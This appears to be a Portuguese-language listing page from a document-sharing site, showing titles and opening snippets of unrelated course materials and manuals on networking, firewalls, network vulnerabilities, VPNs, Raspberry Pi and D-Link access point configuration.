Programação de Periféricos Componentes Edson Moreno edson.moreno@pucrs.br http://www.inf.pucrs.br/~emoreno Apresentação Raspberry pi Sistema Operacional embarcado Atividade Raspberry pi Sistema computacional
Universidade Federal de Pernambuco Mestrado em Ciência da Computação
Universidade Federal de Pernambuco Mestrado em Ciência da Computação Lista 1 de Introdução a Agentes Inteligentes Bruno Benevides Cavalcante, Rafael Gonçalves Barreira [bbc2 rgb2]@cin.ufpe.br Agentes 1.
SEG. EM SISTEMAS E REDES. 03. Vulnerabilidades em redes. Prof. Ulisses Cotta Cavalca <ulisses.cotta@gmail.com>
SEG. EM SISTEMAS E REDES 03. Vulnerabilidades em redes Prof. Ulisses Cotta Cavalca Belo Horizonte/MG 2015 SUMÁRIO 1) Vulnerabilidades em redes 2) Dicionário de vulnerabilidades
Firewalls Reginaldo Campos 1
Firewalls Reginaldo Campos 1 Roteiro Introdução Características do Firewall Tipo de Firewall Filtro de Pacotes Servidores Proxy Tipos avançados de Firewall Bastion Host Firewalls híbridos 2 Roteiro (cont)
MANUAL DE INSTALAÇÃO E PROGRAMAÇÃO CONVERSOR - IP / USB / SERIAL - 317 RV1
MANUAL DE INSTALAÇÃO E PROGRAMAÇÃO CONVERSOR - IP / USB / SERIAL - 317 RV1 SÃO CAETANO DO SUL 06/06/2014 SUMÁRIO Descrição do Produto... 3 Características... 3 Configuração USB... 4 Configuração... 5 Página
Para realizar o procedimento de configuração de Bridge with AP, será necessário que os DAP-1360 estejam ligados ao computador por um cabo Ethernet.
1- No modo Bridge with AP, o DAP-1360 se conecta a várias redes, embora ainda funcionando como um Access Point wireless. WDS (Wireless Distribution System) permite o acesso de um DAP-1360 com o outro DAP-1360
SBSeg 2014 Belo Horizonte, MG 04 de novembro de 2014
SBSeg 2014 Belo Horizonte, MG 04 de novembro de 2014 Ameaças e Desafios Um Ano Depois Marcus Lahr marcus@cert.br Tratamento de Incidentes Articulação Apoio à recuperação Estatísticas Treinamento e Conscientização
Redes de Computadores I Seminário Novas Tecnologias em Redes. VPN-Virtual Private Network. Anderson Gabriel
Redes de Computadores I Seminário Novas Tecnologias em Redes VPN-Virtual Private Network Anderson Gabriel Introdução Crescimento tecnológico, necessidade de segurança VPNs - Virtual Private Network (Redes
Estruturas de Comunicação de Dados Aula 3 Camadas de Aplicação e Transporte
Estruturas de Comunicação de Dados Aula 3 Camadas de Aplicação e Transporte Escola Maria Eduarda Ramos de Barros Curso técnico em redes de computadores Carpina - PE Roteiro Aplicações de Rede Transporte